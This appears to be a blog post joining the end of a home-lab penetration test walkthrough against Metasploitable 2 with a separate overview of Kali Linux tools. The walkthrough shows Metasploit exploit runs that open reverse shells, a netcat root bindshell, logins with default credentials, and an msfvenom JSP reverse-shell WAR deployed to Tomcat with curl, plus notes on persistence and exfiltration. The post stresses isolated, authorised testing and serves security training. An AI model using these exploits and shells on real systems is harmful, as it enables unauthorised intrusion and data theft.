[*] B: "d1Qa8VZsKrCupf3j\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 2 opened (192.168.56.100:4444 → 192.168.56.101:38214)

id
uid=0(root) gid=0(root)
hostname
metasploitable
cat /etc/passwd | grep -v nologin | grep -v false
root:x:0:0:root:/root:/bin/bash
sync:x:4:65534:sync:/bin:/bin/sync
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
user:x:1001:1001:just a user,111,,:/home/user:/bin/bash

Another root shell via an entirely different service.

Finding 3 — distcc arbitrary code execution (CVE-2004-2687)

distccd is a distributed compiler daemon. In versions up to 3.1, it accepts arbitrary compilation jobs from the network without authentication. A malformed job can be crafted to execute commands rather than compile code. The daemon runs as the daemon user (not root), which limits the immediate impact but still provides a foothold for local privilege escalation.

msf6 > use exploit/unix/misc/distcc_exec
msf6 exploit(unix/misc/distcc_exec) > set RHOSTS 192.168.56.101
msf6 exploit(unix/misc/distcc_exec) > set PAYLOAD cmd/unix/reverse
msf6 exploit(unix/misc/distcc_exec) > set LHOST 192.168.56.100
msf6 exploit(unix/misc/distcc_exec) > run

[*] Started reverse TCP double handler on 192.168.56.100:4444
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo HFqtHlLHMmhEIIEi;
[*] Command shell session 3 opened (192.168.56.100:4444 → 192.168.56.101:52180)

id
uid=1(daemon) gid=1(daemon) groups=1(daemon)

This lands as daemon. From here, a privilege escalation would be required for root. On this target, udev local privilege escalation (CVE-2009-1185) is viable given the kernel version (2.6.24), but is outside the scope of this walkthrough.

Finding 4 — UnrealIRCd backdoor (CVE-2010-2075)

Similarly to vsftpd, the UnrealIRCd 3.2.8.1 source tarball was backdoored on the project’s server. The backdoor: strings beginning with AB are passed to a system() call and executed. Discovered in June 2010; the backdoored version had been on the download server since November 2009 — roughly seven months before detection.

msf6 > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set RHOSTS 192.168.56.101
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set PAYLOAD cmd/unix/reverse
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set LHOST 192.168.56.100
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > run

[*] Started reverse TCP double handler on 192.168.56.100:4444
[*] Connected to 192.168.56.101:6667...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
[*] Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command shell session 4 opened (192.168.56.100:4444 → 192.168.56.101:44122)

id
uid=0(root) gid=0(root)

Root again. Both supply-chain backdoors (vsftpd and UnrealIRCd) result in root access because the daemons run as root on this target.

Finding 5 — Port 1524 root bindshell

Metasploitable 2 listens on TCP 1524 with a root shell requiring no authentication. This isn’t a vulnerability in the traditional sense — it is deliberately included in the image as an obviously visible indicator that the system is intentionally vulnerable.

# From Kali
nc 192.168.56.101 1524
root@metasploitable:/# id
uid=0(root) gid=0(root) groups=0(root)
root@metasploitable:/# whoami
root

This would be the first thing a real attacker checks after noticing the service description in the nmap output.

Finding 6 — VNC without authentication

The VNC service on port 5900 accepts connections without any password prompt:

vncviewer 192.168.56.101:5900
# Direct desktop session opens — no credentials required

Full graphical access to the desktop as root.

Finding 7 — MySQL without root password

mysql -h 192.168.56.101 -u root

Welcome to the MySQL monitor.  Commands end with ; or \g.
Server version: 5.0.51a-3ubuntu5

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| dvwa               |
| metasploit         |
| mysql              |
| owasp10            |
| tikiwiki           |
| tikiwiki195        |
+--------------------+

mysql> use mysql; select user, password from user;
+------------------+-------------------------------------------+
| user             | password                                  |
+------------------+-------------------------------------------+
| root             |                                           |
| root             |                                           |
| root             |                                           |
| debian-sys-maint | *1111B68658314B5580EB744B9B7B26AA977C7AA5 |
| guest            |                                           |
+------------------+-------------------------------------------+

Full database access, including the Metasploit and DVWA databases.

Finding 8 — Apache Tomcat default credentials

The Tomcat Manager application at http://192.168.56.101:8180/manager/html accepts the default credentials tomcat:tomcat. The Tomcat Manager allows deployment of WAR (Web Application Archive) files. Deploying a malicious WAR containing a JSP webshell provides remote code execution as the Tomcat service user.

Manually constructing a JSP webshell WAR and deploying it via the Manager UI or via curl:

# Generate a JSP webshell WAR with msfvenom
msfvenom -p java/jsp_shell_reverse_tcp \
  LHOST=192.168.56.100 LPORT=4445 \
  -f war -o shell.war

# Upload via Tomcat Manager curl API
curl -u tomcat:tomcat -T shell.war \
  "http://192.168.56.101:8180/manager/deploy?path=/shell&update=true"

# Trigger the webshell
curl http://192.168.56.101:8180/shell/

With a Metasploit multi/handler listening on 4445, this delivers a shell as the Tomcat service account.

Phase 5 — Post-exploitation notes

With root access confirmed via multiple vectors, a real engagement would continue with:

Persistence — adding an SSH key to /root/.ssh/authorized_keys, creating a backdoor user, or installing a cron-based reverse shell. On a production system, persistence mechanisms would be documented and removed after the assessment.

Data exfiltration simulation — identifying sensitive files: /etc/shadow, database dumps, configuration files containing credentials. On Metasploitable, the MySQL database named metasploit contains mock data; a real assessment would document what data was accessible.

Lateral movement — with credentials from /etc/shadow or database extracts, testing those credentials against other systems on the network.

Network enumeration from inside — with a shell on the target, scanning internal network segments not visible from the attacker position.

For this lab environment, the above were verified conceptually but not executed in detail — the purpose is methodology demonstration, not a comprehensive post-exploitation exercise.

Part 3 — Findings report

What follows is a penetration test findings report in the format typically delivered to a client. It summarises the engagement scope, methodology, and each finding with a severity rating, technical details, and remediation guidance.

Notes on doing this responsibly

Everything in this post was done against a system specifically built to be attacked, on a network that cannot reach anything outside the two virtual machines. The combination of Kali and Metasploitable in an isolated environment is the standard approach for learning penetration testing without legal or ethical risk.

The distinction matters: running these tools against any system you don’t own and haven’t received explicit written permission to test is a criminal offence in most jurisdictions (in the Netherlands, Artikel 138ab of the Wetboek van Strafrecht covers unauthorised computer access). Having the technical knowledge is not the same as having permission. The tools, techniques, and CVEs documented here are all publicly available and used in authorised security assessments — the authorisation is the thing that makes it legal.

For further practice on deliberately vulnerable environments: Hack The Box, TryHackMe, and VulnHub provide legal targets at various difficulty levels. OffSec’s PWK/OSCP course is the standard professional certification path if this becomes a serious interest.

Kali Linux is a Debian-based distribution built for penetration testing and security research. It comes with several hundred pre-installed tools covering reconnaissance, exploitation, password cracking, wireless security, forensics, and web application testing. This post covers what it is, how it's structured, and what its main tools actually do. A companion post works through a complete home lab pentest using these tools.

Kali Linux

Background

Kali Linux is developed and maintained by Offensive Security (now OffSec). It is a Debian-based Linux distribution on a rolling release cycle, pre-loaded with over six hundred security-relevant tools covering reconnaissance, vulnerability scanning, exploitation, post-exploitation, password attacks, wireless security, forensics, and web application testing.

The history: Kali replaced BackTrack in March 2013. BackTrack was itself a merger of WHAX (formerly Whoppix) and Auditor Security Collection, both of which predated it. BackTrack 5 R3 was the last BackTrack release (August 2012). Kali was a ground-up rewrite on Debian rather than Ubuntu, with a proper package management structure, signed packages, and a maintained update cycle. BackTrack was essentially a collection of tools thrown at an OS; Kali was an attempt to do it properly.

Kali’s current default desktop is XFCE (since 2019.4, replacing GNOME). This was a pragmatic choice — XFCE is lighter, which matters when running in a VM. Alternative desktop environments (KDE, GNOME, i3, Sway, MATE) are available and installable.

What makes it different from standard Debian

Three things distinguish Kali from a standard Debian installation:

1. Single-user root model (historically) / passwordless sudo (now) Kali originally ran as root by default — controversial and changed in Kali 2020.1, which introduced a standard non-root user with passwordless sudo. The reasoning for the original design was pragmatic: many security tools require root or produce confusing failures without it. The current model is more reasonable.

2. Tool packaging and maintenance Kali maintains packages for hundreds of tools that are not in the Debian repositories. These are maintained by the Kali team, which means they stay reasonably current. Tools installed from Kali’s repositories work correctly together; building the same environment on standard Debian from source is possible but time-consuming.

3. Kernel patches and configurations Kali ships a modified kernel that enables features relevant to security testing — wireless injection support, for example — that are either absent or disabled in standard Debian kernels.

Installation and deployment options

Kali runs in more places than most people expect:

Bare metal — standard installer ISO. The tool set works best when the hardware matches (particularly for wireless testing with injection-capable adapters).

Virtual machine — pre-built VM images are available for VirtualBox and VMware. This is the most common hobbyist setup. Limitations: USB WiFi adapter passthrough for wireless testing, no hardware-level timing for certain operations.

Live USB — boot without installing. Useful for on-site engagements where leaving traces on a machine is not acceptable. Persistent storage partition is optional.

WSL2 on Windows — Kali Win-KeX provides a full desktop environment inside WSL2. Most tools work. Wireless injection doesn’t — the Windows kernel handles the wireless stack, not WSL2. Useful for learning and CTFs, not for all real-world tasks.

Kali NetHunter — Android port, runs on top of Android (requires root or specific supported devices). Covers mobile testing, HID attacks, Bluetooth, and limited wireless injection depending on the hardware.

Raspberry Pi and ARM — Kali has ARM images for Raspberry Pi (2/3/4/5), Pinebook Pro, and others. A Pi 4 with an Alfa wireless adapter is a reasonable portable testing platform.

Kali Purple — a variant introduced in 2023.1, oriented towards defensive security (SIEMs, detection, SOC tooling). Different audience from the standard penetration testing distribution.

Tool organisation

Kali organises its tools into categories. The major ones:

Information gathering Network mapping, DNS enumeration, OSINT, fingerprinting. Key tools: nmap (port scanning, service detection, NSE scripting), recon-ng (modular OSINT framework), theHarvester (email/domain/IP harvesting from public sources), amass (attack surface mapping, DNS enumeration), maltego (graphical link analysis).

Vulnerability scanning Automated vulnerability identification. Key tools: openvas/gvm (GreenBone Vulnerability Manager — the major open-source scanner), nikto (web server scanner), wpscan (WordPress-specific), lynis (local system auditing). Note that vulnerability scanners produce findings that require manual validation; treating scanner output as ground truth is a mistake.

Web application testing The largest category by count of tools. Key tools: burpsuite (the standard intercepting proxy; community edition is free, professional is commercial), zaproxy (OWASP ZAP, open-source Burp alternative), sqlmap (automated SQL injection), gobuster/ffuf (directory and endpoint brute-forcing), wfuzz (fuzzing), whatweb (web fingerprinting).

Exploitation Actual exploitation tools. The centre of this category is the Metasploit Framework (msfconsole) — the most widely used exploitation platform, maintained by Rapid7, with modules for hundreds of CVEs. Also: searchsploit (local Exploit-DB search), beef-xss (Browser Exploitation Framework), social-engineer-toolkit (SET — phishing, credential harvesting).

Password attacks Offline hash cracking and online brute-force. Key tools: hashcat (GPU-accelerated hash cracking; essential for real engagements), john (John the Ripper; CPU-based, good rule engine), hydra (online brute-force against network services), medusa (similar to Hydra), crunch (wordlist generation). The /usr/share/wordlists/rockyou.txt.gz wordlist is included — the 14-million-entry password list from the 2009 RockYou breach.

Wireless attacks aircrack-ng suite (WEP/WPA2 cracking, packet injection), kismet (wireless IDS/monitor), reaver/bully (WPS brute-force), wifite (automated wireless attack tool), wireshark/tshark (packet capture and analysis).

Reverse engineering ghidra (NSA’s disassembler/decompiler — free), radare2 (command-line RE framework), gdb with pwndbg/peda extensions (debugging), binwalk (firmware analysis and extraction), strings/file/ltrace/strace (basic RE utilities).

Exploitation development / binary exploitation pwntools (Python library for writing exploits), ROPgadget/ropper (ROP chain building), checksec (ELF security feature inspection). This overlaps with reverse engineering in practice.

Forensics and incident response autopsy/sleuth kit (disk forensics), volatility/volatility3 (memory forensics), foremost/scalpel (file carving), dc3dd/dcfldd (forensic imaging). Kali includes these primarily for evidence collection during engagements, not full forensic investigation.

Sniffing and spoofing wireshark (packet capture), tcpdump (CLI packet capture), ettercap (man-in-the-middle), bettercap (modern MitM framework), responder (LLMNR/NBT-NS/MDNS poisoning — extremely effective on Windows networks).

Post-exploitation metasploit (Meterpreter, pivoting, persistence modules), impacket (Python implementations of Windows protocols — invaluable for AD testing), bloodhound/neo4j (Active Directory attack path mapping), crackmapexec/netexec (network-wide credential testing and lateral movement), mimikatz (Windows credential dumping — runs from Meterpreter or directly).

A pentest using these tools against a deliberately vulnerable home lab setup is documented in the companion post.